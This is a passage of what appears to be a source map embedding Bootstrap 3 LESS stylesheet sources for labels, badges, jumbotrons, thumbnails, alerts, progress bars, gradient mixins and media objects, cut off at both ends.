bold;\n line-height: 1;\n color: @label-color;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n\n // Add hover effects, but only for links\n a& {\n &:hover,\n &:focus {\n color: @label-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Empty labels collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for labels in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n}\n\n// Colors\n// Contextual variations (linked labels get darker on :hover)\n\n.label-default {\n .label-variant(@label-default-bg);\n}\n\n.label-primary {\n .label-variant(@label-primary-bg);\n}\n\n.label-success {\n .label-variant(@label-success-bg);\n}\n\n.label-info {\n .label-variant(@label-info-bg);\n}\n\n.label-warning {\n .label-variant(@label-warning-bg);\n}\n\n.label-danger {\n .label-variant(@label-danger-bg);\n}\n","// Labels\n\n.label-variant(@color) {\n background-color: @color;\n\n &[href] {\n &:hover,\n &:focus {\n background-color: darken(@color, 10%);\n }\n }\n}\n","//\n// Badges\n// --------------------------------------------------\n\n\n// Base class\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: @font-size-small;\n font-weight: @badge-font-weight;\n color: @badge-color;\n line-height: @badge-line-height;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: @badge-bg;\n border-radius: @badge-border-radius;\n\n // Empty badges collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for badges in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n\n .btn-xs &,\n .btn-group-xs > .btn & {\n top: 0;\n padding: 1px 5px;\n }\n\n // Hover state, but only for links\n a& {\n &:hover,\n &:focus {\n color: @badge-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Account for badges in navs\n .list-group-item.active > &,\n .nav-pills > .active > a > & {\n color: @badge-active-color;\n background-color: @badge-active-bg;\n }\n\n .list-group-item > & {\n float: right;\n }\n\n .list-group-item > & + & {\n margin-right: 5px;\n }\n\n .nav-pills > li > a > & {\n margin-left: 3px;\n }\n}\n","//\n// Jumbotron\n// --------------------------------------------------\n\n\n.jumbotron {\n padding-top: @jumbotron-padding;\n padding-bottom: @jumbotron-padding;\n margin-bottom: @jumbotron-padding;\n color: @jumbotron-color;\n background-color: @jumbotron-bg;\n\n h1,\n .h1 {\n color: @jumbotron-heading-color;\n }\n\n p {\n margin-bottom: (@jumbotron-padding / 2);\n font-size: @jumbotron-font-size;\n font-weight: 200;\n }\n\n > hr {\n border-top-color: darken(@jumbotron-bg, 10%);\n }\n\n .container &,\n .container-fluid & {\n border-radius: @border-radius-large; // Only round corners at higher resolutions if contained in a container\n padding-left: (@grid-gutter-width / 2);\n padding-right: (@grid-gutter-width / 2);\n }\n\n .container {\n max-width: 100%;\n }\n\n @media screen and (min-width: @screen-sm-min) {\n padding-top: (@jumbotron-padding * 1.6);\n padding-bottom: (@jumbotron-padding * 1.6);\n\n .container &,\n .container-fluid & {\n padding-left: (@jumbotron-padding * 2);\n padding-right: (@jumbotron-padding * 2);\n }\n\n h1,\n .h1 {\n font-size: @jumbotron-heading-font-size;\n }\n }\n}\n","//\n// Thumbnails\n// --------------------------------------------------\n\n\n// Mixin and adjust the regular image class\n.thumbnail {\n display: block;\n padding: @thumbnail-padding;\n margin-bottom: @line-height-computed;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(border .2s ease-in-out);\n\n > img,\n a > img {\n &:extend(.img-responsive);\n margin-left: auto;\n margin-right: auto;\n }\n\n // Add a hover state for linked versions only\n a&:hover,\n a&:focus,\n a&.active {\n border-color: @link-color;\n }\n\n // Image captions\n .caption {\n padding: @thumbnail-caption-padding;\n color: @thumbnail-caption-color;\n }\n}\n","//\n// Alerts\n// --------------------------------------------------\n\n\n// Base styles\n// -------------------------\n\n.alert {\n padding: @alert-padding;\n margin-bottom: @line-height-computed;\n border: 1px solid transparent;\n border-radius: @alert-border-radius;\n\n // Headings for larger alerts\n h4 {\n margin-top: 0;\n // Specified for the h4 to prevent conflicts of changing @headings-color\n color: inherit;\n }\n\n // Provide class for links that match alerts\n .alert-link {\n font-weight: @alert-link-font-weight;\n }\n\n // Improve alignment and spacing of inner content\n > p,\n > ul {\n margin-bottom: 0;\n }\n\n > p + p {\n margin-top: 5px;\n }\n}\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissable, // The misspelled .alert-dismissable was deprecated in 3.2.0.\n.alert-dismissible {\n padding-right: (@alert-padding + 20);\n\n // Adjust close link position\n .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n }\n}\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n.alert-success {\n .alert-variant(@alert-success-bg; @alert-success-border; @alert-success-text);\n}\n\n.alert-info {\n .alert-variant(@alert-info-bg; @alert-info-border; @alert-info-text);\n}\n\n.alert-warning {\n .alert-variant(@alert-warning-bg; @alert-warning-border; @alert-warning-text);\n}\n\n.alert-danger {\n .alert-variant(@alert-danger-bg; @alert-danger-border; @alert-danger-text);\n}\n","// Alerts\n\n.alert-variant(@background; @border; @text-color) {\n background-color: @background;\n border-color: @border;\n color: @text-color;\n\n hr {\n border-top-color: darken(@border, 5%);\n }\n .alert-link {\n color: darken(@text-color, 10%);\n }\n}\n","//\n// Progress bars\n// --------------------------------------------------\n\n\n// Bar animations\n// -------------------------\n\n// WebKit\n@-webkit-keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n// Spec and IE10+\n@keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n\n// Bar itself\n// -------------------------\n\n// Outer container\n.progress {\n overflow: hidden;\n height: @line-height-computed;\n margin-bottom: @line-height-computed;\n background-color: @progress-bg;\n border-radius: @progress-border-radius;\n .box-shadow(inset 0 1px 2px rgba(0,0,0,.1));\n}\n\n// Bar of progress\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: @font-size-small;\n line-height: @line-height-computed;\n color: @progress-bar-color;\n text-align: center;\n background-color: @progress-bar-bg;\n .box-shadow(inset 0 -1px 0 rgba(0,0,0,.15));\n .transition(width .6s ease);\n}\n\n// Striped bars\n//\n// `.progress-striped .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar-striped` class, which you just add to an existing\n// `.progress-bar`.\n.progress-striped .progress-bar,\n.progress-bar-striped {\n #gradient > .striped();\n background-size: 40px 40px;\n}\n\n// Call animation for the active one\n//\n// `.progress.active .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar.active` approach.\n.progress.active .progress-bar,\n.progress-bar.active {\n .animation(progress-bar-stripes 2s linear infinite);\n}\n\n\n// Variations\n// -------------------------\n\n.progress-bar-success {\n .progress-bar-variant(@progress-bar-success-bg);\n}\n\n.progress-bar-info {\n .progress-bar-variant(@progress-bar-info-bg);\n}\n\n.progress-bar-warning {\n .progress-bar-variant(@progress-bar-warning-bg);\n}\n\n.progress-bar-danger {\n .progress-bar-variant(@progress-bar-danger-bg);\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Progress bars\n\n.progress-bar-variant(@color) {\n background-color: @color;\n\n // Deprecated parent class requirement as of v3.2.0\n .progress-striped & {\n #gradient > .striped();\n }\n}\n",".media {\n // Proper spacing between instances of .media\n margin-top: 15px;\n\n &:first-child {\n margin-top: 0;\n }\n}\n\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n\n.media-body {\n width: 10000px;\n}\n\n.media-object {\n display: block;\n\n // Fix collapse in webkit from max-width: 100% and display: table-cell.\n &.img-thumbnail {\n max-width: none;\n }\n}\n\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n\n.media-middle {\n vertical-align: middle;\n}\n\n.media-bottom {\n vertical-align: bottom;\n}\n\n// Reset margins on headings for tighter default spacing\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n\n// Media list variation\n//\n// Undo default ul/ol styles\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n","//\n// List groups\n// --------------------------------------------------\n\n\n// Base class\n//\n// Easily usable on